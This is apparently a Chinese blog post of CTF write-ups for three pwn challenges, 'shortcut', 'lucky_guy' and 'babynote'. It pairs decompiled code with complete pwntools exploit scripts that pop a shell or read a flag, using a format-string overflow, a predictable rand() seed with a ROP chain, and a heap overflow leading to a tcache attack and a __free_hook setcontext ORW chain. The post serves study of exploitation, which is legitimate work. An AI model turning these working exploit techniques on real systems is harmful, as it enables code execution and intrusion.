当前位置:网站首页>三个pwn题
三个pwn题
2022-06-28 23:45:00 【石氏是时试】
目录
shortcut
这个题表面上是个堆题,实际上跟堆关系不大,是个格式化字符漏洞的题。
主程序是菜单有4个功能:add,free,show,run
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // eax
setbuf(stdout, 0LL);
setbuf(stdin, 0LL);
setbuf(stderr, 0LL);
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
v3 = menu();
if ( v3 != 2 )
break;
list();
}
if ( v3 > 2 )
break;
if ( v3 != 1 )
goto LABEL_13;
add(); // formatstr
}
if ( v3 == 3 )
{
delete(); // 可以越界
}
else
{
if ( v3 != 4 )
LABEL_13:
die();
run();
}
}
}add函数这里有个漏洞,由于读入是用的printf,所以很容易用%nc达到写溢出
unsigned __int64 add()
{
int v1; // [rsp+8h] [rbp-38h] BYREF
int i; // [rsp+Ch] [rbp-34h]
char format[40]; // [rsp+10h] [rbp-30h] BYREF
unsigned __int64 v4; // [rsp+38h] [rbp-8h]
v4 = __readfsqword(0x28u);
for ( i = 0; ; ++i )
{
if ( i > 4 )
{
puts("Too many shortcut!");
die();
}
if ( !*((_QWORD *)&sc + i) )
break;
}
*((_QWORD *)&sc + i) = malloc(0x28uLL);
puts("the name of new shortcut:");
read_safely(format, 0x1Eu);
sprintf(*((char **)&sc + i), format); // 少参数,printf漏洞
puts("choose an operation:\n1. health code\n2. express\n");
_isoc99_scanf("%d", &v1);
if ( v1 == 1 )
{
*(_QWORD *)(*((_QWORD *)&sc + i) + 32LL) = health_code;
}
else
{
if ( v1 != 2 )
{
puts("Wrong choice!");
die();
}
*(_QWORD *)(*((_QWORD *)&sc + i) + 32LL) = express;
}
return __readfsqword(0x28u) ^ v4;
}run函数。chunk尾部有一个指针,run的时候将利用这个指针显示。
unsigned __int64 run()
{
int i; // [rsp+Ch] [rbp-34h]
char s1[40]; // [rsp+10h] [rbp-30h] BYREF
unsigned __int64 v3; // [rsp+38h] [rbp-8h]
v3 = __readfsqword(0x28u);
puts("Tell me the name of shortcut:");
read_safely(s1, 0x1Eu);
for ( i = 0; i <= 4; ++i )
{
if ( *((_QWORD *)&sc + i) && !strncmp(s1, *((const char **)&sc + i), 0x1DuLL) )
{
(*(void (__fastcall **)(_QWORD))(*((_QWORD *)&sc + i) + 32LL))(*((_QWORD *)&sc + i));// 执行+32处的指针
return __readfsqword(0x28u) ^ v3;
}
}
puts("No match!");
return __readfsqword(0x28u) ^ v3;
}另外程序本身将system引入,可以执行plt里的system
int treasure()
{
return system("treasure");
}由于有一个比较容易的溢出这里就好办了。
1,建一个块,让输入32个字符让它与指针直连,然后list的时候尾部带出指针,得到程序加载地址。
2,再建第2个块,删1再重建,通过写溢出将1的数据溢出到2的指针,覆盖为system,2的数据改为system
3, run(2)得到shell
from pwn import *
p = process('./shortcut')
libc_elf = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6')
elf = ELF('./shortcut')
context(arch = 'amd64', log_level='debug')
menu = b"Please tell me your choice:\n"
def add(msg):
p.sendlineafter(menu, b'1')
p.sendlineafter(b"the name of new shortcut:\n", msg)
p.sendlineafter(b"choose an operation:\n1. health code\n2. express\n\n", b'1')
def show():
p.sendlineafter(menu, b'2')
def run(msg):
p.sendlineafter(menu, b'4')
p.sendlineafter(b"Tell me the name of shortcut:\n", msg)
def free(idx):
p.sendlineafter(menu, b'3')
p.sendlineafter(b"Tell me the index of shortcut:\n", str(idx).encode())
add(b'%32c')
show()
p.recv(0x29)
pwn_base = u64(p.recv(6).ljust(8,b'\x00')) - 0xb9c
elf.address = pwn_base
print('pwn:', hex(pwn_base))
system = pwn_base+ 0x988 #elf.plt('system')
add(b'aaa')
free(0)
add(b'%48c'+b'/bin/sh;'+b'%24c'+p64(system)) #覆盖第2个chunk内容为/bin/sh;指针为system
run(b'/bin/sh;'.ljust(0x1d,b' '))
p.interactive()
lucky_guy
这是一个溢出写ROP的题,题目没有开PIE,显然是可以利用题目里的地址进行ROP的题。
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
void *v3; // rsp
_BYTE v5[4]; // [rsp+0h] [rbp-1B0h] BYREF
int v6; // [rsp+4h] [rbp-1ACh] BYREF
int v7; // [rsp+8h] [rbp-1A8h] BYREF
unsigned int seed; // [rsp+Ch] [rbp-1A4h]
int v9; // [rsp+10h] [rbp-1A0h]
int v10; // [rsp+14h] [rbp-19Ch]
_BYTE *v11; // [rsp+18h] [rbp-198h]
char v12[392]; // [rsp+20h] [rbp-190h] BYREF
unsigned __int64 v13; // [rsp+1A8h] [rbp-8h]
v13 = __readfsqword(0x28u);
v9 = 10;
sub_400827();
for ( seed = 0; (int)seed < v9; ++seed )
{
srand(seed); // seed已知,rand可以预测
v10 = rand() % 100;
puts("your number");
__isoc99_scanf("%d", &v7);
if ( v10 != v7 )
{
puts("fail");
exit(0);
}
}
puts("Congratulations you passed the first level!");
puts("I believe you are a lucky guy.");
puts("So, give me a size: ");
__isoc99_scanf("%d", &v6);
v3 = alloca(16 * ((v6 + 16 + 30LL) / 0x10uLL));// 移动rsp
v11 = v5;
sub_4008B9(v5, v6, v12);
return 0LL;
}main里先是让输入10个数,与随机数相同可进入下一步。由于seed用的数已知,所以rand是可预知的,可以写个小程序将10个数输出
#include <stdio.h>
#include <stdlib.h>
int main(){
for ( int seed = 0; (int)seed < 10; ++seed ){ srand(seed); printf("%d\n", rand() % 100); }
}10个数字通过后,会让输入一个数字,然后通过它进行一个alloca,这个看上去像函数的东西实际上不是函数,只是把运算结果赋值给rsp
.text:0000000000400A68 B8 10 00 00 00 mov eax, 10h
.text:0000000000400A6D 48 83 E8 01 sub rax, 1
.text:0000000000400A71 48 01 D0 add rax, rdx
.text:0000000000400A74 BE 10 00 00 00 mov esi, 10h
.text:0000000000400A79 BA 00 00 00 00 mov edx, 0
.text:0000000000400A7E 48 F7 F6 div rsi
.text:0000000000400A81 48 6B C0 10 imul rax, 10h
.text:0000000000400A85 48 29 C4 sub rsp, rax后面的函数会进行两次输入,
unsigned __int64 __fastcall sub_4008B9(void *a1, int a2, void *a3)
{
unsigned __int64 v5; // [rsp+28h] [rbp-8h]
v5 = __readfsqword(0x28u);
puts("Your message: ");
read(0, a1, a2);
puts("Leave your name: ");
read(0, a3, 0x30uLL);
return __readfsqword(0x28u) ^ v5;
}第一次写入v5这个与rsp关联,第二次是写v12这是个固定位置
所以这个题的漏洞就在于当输入负数,使rsp下移后,sub_4008B9的栈会下移跟主函数栈空间重叠。sub_4008B9的返回地址恰巧落在v12指针处时,就可以通过写入v12改写sub_4008B9的返回地址,在这里写ROP链。

具体操作:
from pwn import *
p = process('./lucky_guy')
elf = ELF('./lucky_guy')
libc_elf = ELF('/home/shi/libc/libc6_2.31/lib/x86_64-linux-gnu/libc-2.31.so')
context(arch='amd64', log_level='debug')
pop_rdi = 0x0000000000400b43 #: pop rdi ; ret
a = [83,83,90,46,1,75,41,77,96,15]
#第一次 puts(got_puts),start 获取libc
for i in a:
p.sendlineafter(b"your number", str(i).encode())
payload = flat(0, pop_rdi+1, pop_rdi, elf.got['puts'], elf.plt['puts'], 0x400740) #start
p.sendlineafter(b"So, give me a size: ", str(-0x50).encode()) #
p.sendafter(b"Leave your name: \n", payload)
libc_base = u64(p.recvuntil(b'\x7f').ljust(8, b'\x00')) - libc_elf.sym['puts']
libc_elf.address = libc_base
print('libc:', hex(libc_base))
#第二次 system(/bin/sh)
for i in a:
p.sendlineafter(b"your number", str(i).encode())
payload = flat(0, pop_rdi+1, pop_rdi, next(libc_elf.search(b'/bin/sh')), libc_elf.sym['system'], 0x400740) #start
p.sendlineafter(b"So, give me a size: ", str(-0x50).encode()) #
p.sendafter(b"Leave your name: \n", payload)
p.interactive()这里由于题目没有给出libc,所以第一步执行得到一个puts的地址后,需要按尾3位确定libc版本,下载相应libc或者用偏移计算system和/bin/sh的地址,然后再进行下一步。
babynote
这是一个高版本(libc-2.31不太高)libc下seccomp禁用execve功能的ORW题。
漏洞:当对一个加密过的块进行show时,对数据起点标识“:”直接搜索,当输入的key里含“:”引起的写数据溢出。
先分别看下各个函数
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int v4; // [rsp+Ch] [rbp-4h]
sub_1369(a1, a2, a3);
sub_152F();
sub_1432();
while ( 1 )
{
menu();
v4 = get_int();
if ( v4 == 5 )
break;
if ( v4 <= 5 && v4 > 0 )
{
switch ( v4 )
{
case 4:
m4encrypt();
break;
case 3:
m3free();
break;
case 1:
m1add();
break;
default:
m2show();
break;
}
}
else
{
printf("wrong choice");
}
}
return 5LL;
}main里有4个功能模块:add,show,free,enc
int m1add()
{
__int64 v0; // rax
int i; // [rsp+8h] [rbp-8h]
int v3; // [rsp+Ch] [rbp-4h]
for ( i = 0; i < dword_5010 && qword_5060[i]; ++i )
;
LODWORD(v0) = dword_5010;
if ( i < dword_5010 )
{
printf("size: ");
v3 = get_int();
if ( v3 > dword_5014 || v3 <= 0 )
{
printf("wrong note size");
exit(0);
}
qword_5060[i] = malloc(v3);
v0 = qword_5060[i];
if ( v0 )
{
printf("content: ");
sub_15A9(qword_5060[i], v3, 10);
LODWORD(v0) = puts("done");
}
}
return v0;
}add限制最大f8,指针区没有问题,read数据没有溢出,而且尾部加\0非常安全
unsigned __int64 m2show()
{
int i; // [rsp+0h] [rbp-40h]
int v2; // [rsp+4h] [rbp-3Ch]
int v3; // [rsp+8h] [rbp-38h]
unsigned int n; // [rsp+Ch] [rbp-34h]
char *n_4; // [rsp+10h] [rbp-30h]
void *dest; // [rsp+18h] [rbp-28h]
char buf[24]; // [rsp+20h] [rbp-20h] BYREF
unsigned __int64 v8; // [rsp+38h] [rbp-8h]
v8 = __readfsqword(0x28u);
printf("index: ");
v3 = get_int();
if ( v3 < 0 || v3 >= dword_5010 )
{
puts("wrong note index");
exit(0);
}
if ( qword_5060[v3] )
{
if ( dword_50E0[v3] == 1 )
{
v2 = 0;
for ( i = 0; i <= 2; ++i )
{
printf("encrypt key: ");
read(0, buf, 0xEuLL);
if ( !memcmp(buf, (const void *)qword_5060[v3], 0xEuLL) )
{
v2 = 1;
break;
}
puts("wrong encrypt key");
}
if ( !v2 )
{
puts("Please contact administrator to reset password");
exit(0);
}
n_4 = strchr((const char *)qword_5060[v3], 58);
n = strlen(n_4);
dest = malloc(dword_5014);
memcpy(dest, n_4, n);
printf("content %s\n", (const char *)dest);
free(dest);
}
else
{
printf("content: %s\n", (const char *)qword_5060[v3]);
}
}
return __readfsqword(0x28u) ^ v8;
}show的时候对enc过的先判断key是否正确,再找到“:”(数据起点标记)然后建个f8的块写入数据。这里如果在key里包含“:”则得到的数据长度就会超过f8从而写溢出。
_DWORD *m3free()
{
_DWORD *result; // rax
int v1; // [rsp+Ch] [rbp-4h]
printf("index: ");
v1 = get_int();
if ( v1 < 0 || v1 >= dword_5010 )
{
puts("wrong note index");
exit(0);
}
result = (_DWORD *)qword_5060[v1];
if ( result )
{
free((void *)qword_5060[v1]);
qword_5060[v1] = 0LL;
result = dword_50E0;
dword_50E0[v1] = 0;
}
return result;
}free函数里free后清理指针和数据块尺寸,没有UAF,也没有溢出。
unsigned __int64 m4encrypt()
{
size_t v0; // rax
int v1; // eax
size_t v2; // rax
int v4; // [rsp+Ch] [rbp-54h]
char *v5; // [rsp+20h] [rbp-40h]
char v6[8]; // [rsp+40h] [rbp-20h] BYREF
__int64 v7; // [rsp+48h] [rbp-18h]
unsigned __int64 v8; // [rsp+58h] [rbp-8h]
v8 = __readfsqword(0x28u);
v7 = (unsigned int)time(0LL);
printf("index: ");
v4 = get_int();
if ( v4 < 0 || v4 >= dword_5010 )
{
puts("wrong note index");
exit(0);
}
if ( qword_5060[v4] )
{
if ( dword_50E0[v4] == 1 )
{
puts("the note has been encrypted");
}
else
{
printf("encrypt key: ");
read(0, v6, 0x10uLL);
v0 = strlen((const char *)qword_5060[v4]);
v5 = (char *)malloc(v0 + 21);
srand(v7);
v1 = rand();
*(_DWORD *)v5 = v1 + (v1 == -1);
memcpy(v5 + 4, v6, 0xAuLL);
v5[14] = 58;
v2 = strlen((const char *)qword_5060[v4]);
memcpy(v5 + 15, (const void *)qword_5060[v4], v2);
free((void *)qword_5060[v4]);
qword_5060[v4] = v5;
dword_50E0[v4] = 1;
puts("done");
}
}
return __readfsqword(0x28u) ^ v8;
}enc函数先读入key然后随机生成一个数字作为id,然后按原数据长度+21申请新块将数据复制进去,然后把原块free。
这里有个漏洞:当读入key时v6定义的是8字节,后边是v7,后边用v7来初始化rand种子,而读入v6时可以读入16字节。所以可以用key覆盖v7从而控制种子预测生成的随机数。
加密chunk的结构:id:4 key:10 数据标志符chr(58) data:n
由于在key里可以写入标志,所以溢出最大可以是10字节。当溢出覆盖下个chunk的头后字符串没有结束\0就可以输入下个chunk的fd从而泄露heap和libc
由于有种种限制,所以要先规划一个行当的chunk布局

思路:
- 建第1个F8,然后加密:释放第1个f8使用120
- 通过设置key里:的位置便show时写入到2的数据溢出,覆盖3的头(3提前释放到tcache)得到堆地址
- 先清理相应块,然后再利用同样方法,先将5释放到unsort,4是最后一个tcache里的F8 通过4show里覆盖5的头得到unsort指针,得到libc
- 同理通过6覆盖7的头,修改7的size使其实包含8利用重叠块进行tcache Attack从而达到任意地址写。
- 由于有seccomp所以这里作ORW
- 先控制tcache+0x90将0x100,0xf0两个指针改为 free_hook和free_hook+0xf8将来写连续的数据(理论上讲这两个块是有重叠的,第2个块没有头,从而两个块写入的数据是连续的)
- 原理比较复杂,内容是从原来作过的题上复制的。
通过free_hook写ORW,free_hook内容
- gadget_addr:
- fake_frame_addr: free_hook+0x10
- frame前一半0x20
- frame中间插入setcontext+61
- frame后部0x28起填充到0xf8
- 文件名
- rop_ORW
最后翻译free_hook这个块
from pwn import *
local = 1
if local == 1:
p = process('./babynote')
libc_elf = ELF('/lib/x86_64-linux-gnu/libc.so.6') #(Ubuntu GLIBC 2.31-0ubuntu9.7) stable release version 2.31.
else:
p = remote('node4.buuoj.cn', 26429)
libc_elf = ELF('./libc.so') #(Ubuntu GLIBC 2.31-0ubuntu9.7) stable release version 2.31.
elf = ELF('./babynote')
context.arch = 'amd64'
#context.log_level = 'debug'
menu = b'>> '
def add(size, msg=b'A'):
p.sendlineafter(menu, b'1')
p.sendlineafter(b"size: ", str(size).encode())
p.sendlineafter(b"content: ", msg)
def show(idx, key):
p.sendlineafter(menu, b'2')
p.sendlineafter(b"index: ", str(idx).encode())
p.sendafter(b"encrypt key: ", key)
def free(idx):
p.sendlineafter(menu, b'3')
p.sendlineafter(b"index: ", str(idx).encode())
def enc(idx, key):
p.sendlineafter(menu, b'4')
p.sendlineafter(b"index: ", str(idx).encode())
p.sendafter(b"encrypt key: ", key)
#f8,118,f8*4,18*3,f8*6
add(0xf8, b'A'*0xf7)
enc(0, b'AA:BBBBB'+ b'00'+b'\x00'*6) #2046264671
# 1 2 7 10 15
for i in [0xf8,0xf8,0xf8,0xf8,0xf8, 0xf8, 0x18, 0x18, 0x18, 0xf8,0xf8,0xf8,0xf8,0xf8,0xe0]:
add(i)
for i in [4,3,2]:
free(i)
show(0, p32(2046264671)+b'AA:BBBBB00')
p.recv(0x108)
heap_base = u64(p.recv(6)+ b'\x00\x00') - 0x6c0
print('heap:', hex(heap_base))
free(0)
free(1)
add(0xf8, b'A'*0xf7)
enc(0, b'AA:BBBBB'+ b'00'+b'\x00'*6) #2046264671
add(0xf8) #1
add(0xf8) #2
add(0xf8) #3
add(0xf8) #4
for i in [10,11,12,13,14,6,4,5]: #tcache 4->6->... 5:unsort
free(i)
show(0, p32(2046264671)+b'AA:BBBBB00')
p.recv(0x108)
libc_base = u64(p.recv(6)+ b'\x00\x00') - 0x60 - 0x10 - libc_elf.sym['__malloc_hook']
libc_elf.address = libc_base
print('libc:', hex(libc_base))
add(0xf8) #4
free_hook = libc_elf.sym['__free_hook']
_environ = libc_elf.sym['_environ']
setcontext = libc_elf.sym['setcontext']
syscall = next(libc_elf.search(asm("syscall; ret")))
pop_rdi = next(libc_elf.search(asm("pop rdi; ret")))
pop_rsi = next(libc_elf.search(asm("pop rsi; ret")))
pop_rdx_r12 = next(libc_elf.search(asm("pop rdx; pop r12; ret")))
pop_rax = next(libc_elf.search(asm("pop rax; ret")))
jmp_rsp = next(libc_elf.search(asm("jmp rsp")))
#gadget
#0x00000000001518b0 : mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]
gadget_addr= libc_base + 0x00000000001518b0
free(0)
free(1)
add(0xf8, b'A'*0xf7)
enc(0, b'AABBBBBB'+ b'0:'+b'\x00'*6) #872146168
add(0xf8) #1
show(0, p32(872146168) + b'AABBBBBB'+ b'0:')
for i in [9,8,7]: #7[8]
free(i)
add(0x38, flat(0,0,0,0x21, heap_base+0xf0)) #5
free(15)
context.log_level = 'debug'
add(0x18, b'A')
add(0x18, flat(0, free_hook+0xf8, free_hook)[:-1])
#orw
fake_frame_addr = free_hook + 0x10
frame = SigreturnFrame()
frame.rax = 0
frame.rdi = fake_frame_addr + 0xF8
frame.rsp = fake_frame_addr + 0xF8 + 0x10
frame.rip = pop_rdi + 1 # : ret
rop_data = [
libc_elf.sym['open'],
pop_rdx_r12,0x100,0,pop_rdi,3,pop_rsi,fake_frame_addr + 0x200,libc_elf.sym['read'],
pop_rdi,fake_frame_addr + 0x200,libc_elf.sym['puts']
]
frame_data = flat(frame).ljust(0xf8, b'\x00')
payload = flat(gadget_addr,fake_frame_addr,frame_data[:0x20],setcontext+61,frame_data[0x28:],b'flag\x00\x00\x00\x00',0)+flat(rop_data)
print('len(payload)', hex(len(payload[0xf8:])))
add(0xf8, payload[:0xf7]) #8
add(0xe0, payload[0xf8:]) #9
free(8)
p.recv()
p.interactive()边栏推荐
- Don't ask me how to do UI automation test again
- Learn binary tree like this
- SQL note 2 [MySQL]
- [stm32 Hal library] serial port communication
- Stm32f407----- capacitive touch button
- 自动化测试的生命周期是什么?
- How to solve the database type error in the operation of the servert project?
- Behaviortree in ros2
- stm32F407-------GPIO输入实验
- Cmake tutorial (I)
猜你喜欢
随机推荐
【狀態機設計】Moore、Mealy狀態機、三段式、二段式、一段式狀態機書寫規範
Learn binary tree like this
[C Primer Plus Chapter II after class programming questions]
Stm32f407 ------ running lamp and buzzer
入行数字IC验证后会做些什么?
VSCode里使用条件断点(基于GDB)
Baidu knows the crawler, and obtains the dialogue below the comment according to the question Id, clue ID and comment ID
"Five considerations" for safe use of the Internet
Edge extraction based on Halcon learning [2] circles Hdev routine
Mobile heterogeneous computing technology - GPU OpenCL programming (basic)
MSCI 2022 market classification assessment
Windows10 phpstudy installing redis extension
stm32F407-------RTC实时时钟
TypeScript -- 第六节 泛型
Picture 64base transcoding and decoding
[matlab]函数定义与使用
Association line exploration, how to connect the two nodes of the flow chart
Is it safe and reliable to open a securities account in Yixue school?
Machine learning 6-decision tree
Is it safe to open an account for buying stocks online?



![[stm32 HAL库] 串口通信](/img/2c/23a2ecf75141b8f38ab99ac6b2eaef.png)




